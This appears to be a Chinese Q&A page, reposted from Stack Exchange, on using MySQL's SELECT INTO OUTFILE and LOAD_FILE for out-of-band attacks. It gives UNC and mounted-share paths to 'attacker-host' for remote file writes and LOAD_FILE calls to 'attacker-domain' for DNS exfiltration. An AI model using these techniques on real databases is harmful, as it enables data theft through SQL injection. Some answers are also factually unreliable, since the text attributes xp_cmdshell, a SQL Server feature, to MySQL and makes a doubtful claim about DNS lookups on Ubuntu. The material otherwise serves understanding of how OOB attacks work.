SELECT INTO OUTFILE等函数跨系统远程操作及OOB场景技术咨询
MySQL OOB攻击相关问题解答
问题1:SELECT INTO OUTFILE或LOAD_FILE是否允许直接写入Ubuntu和Windows的远程文件系统?
默认情况下,两者都不允许直接写入远程文件系统,核心限制来自MySQL的secure_file_priv参数:
- 该参数默认会限制
SELECT INTO OUTFILE的写入路径为特定目录(部分版本默认值为NULL,完全禁止文件写入操作);LOAD_FILE仅用于读取文件,本身不具备写入远程的能力。 - 即使
secure_file_priv未做严格限制,SELECT INTO OUTFILE的设计目标是写入本地文件系统,原生不支持直接指定远程路径完成写入。
问题2:默认不允许的情况下,Windows可通过UNC路径实现,Ubuntu是否有对应方法?
Windows下的UNC路径(如\\attacker-host\share\file.txt)能生效,本质是依赖Windows系统对SMB共享的原生支持,且MySQL服务运行账号有权限访问该共享,同时secure_file_priv未限制此类路径。
Ubuntu下的对应实现方式:
- 先将远程共享(SMB/CIFS或NFS)挂载到本地文件系统的某个目录,例如通过
mount -t cifs //attacker-host/share /mnt/remote-share挂载SMB共享。 - 确保
secure_file_priv参数允许写入该挂载目录,之后即可通过SELECT INTO OUTFILE '/mnt/remote-share/file.txt' ...完成远程写入。 - 注意:MySQL进程必须对挂载目录拥有写入权限,否则操作会失败。
问题3:Windows和Ubuntu在DNS及HTTP方面的情况如何?
核心取决于系统级的网络行为触发,而非MySQL原生函数主动发起网络请求:
- DNS请求:
- Windows:当使用
LOAD_FILE('\\\\attacker-domain\\any')这类UNC路径时,Windows系统会先发起对attacker-domain的DNS解析,以此可实现DNS OOB探测。 - Ubuntu:使用
LOAD_FILE('//attacker-domain/any')(SMB路径格式)或尝试访问挂载的远程共享时,系统同样会触发DNS解析,也能实现DNS OOB。
- Windows:当使用
- HTTP请求:
- MySQL的
SELECT INTO OUTFILE和LOAD_FILE原生不支持直接发起HTTP请求。若要实现HTTP OOB,需依赖其他扩展功能(如Windows下开启xp_cmdshell执行curl命令,Ubuntu下调用系统命令),但这不属于原生文件函数的能力范围。
- MySQL的
内容的提问来源于stack exchange,提问作者Johnny
相关产品推荐
相关产品推荐

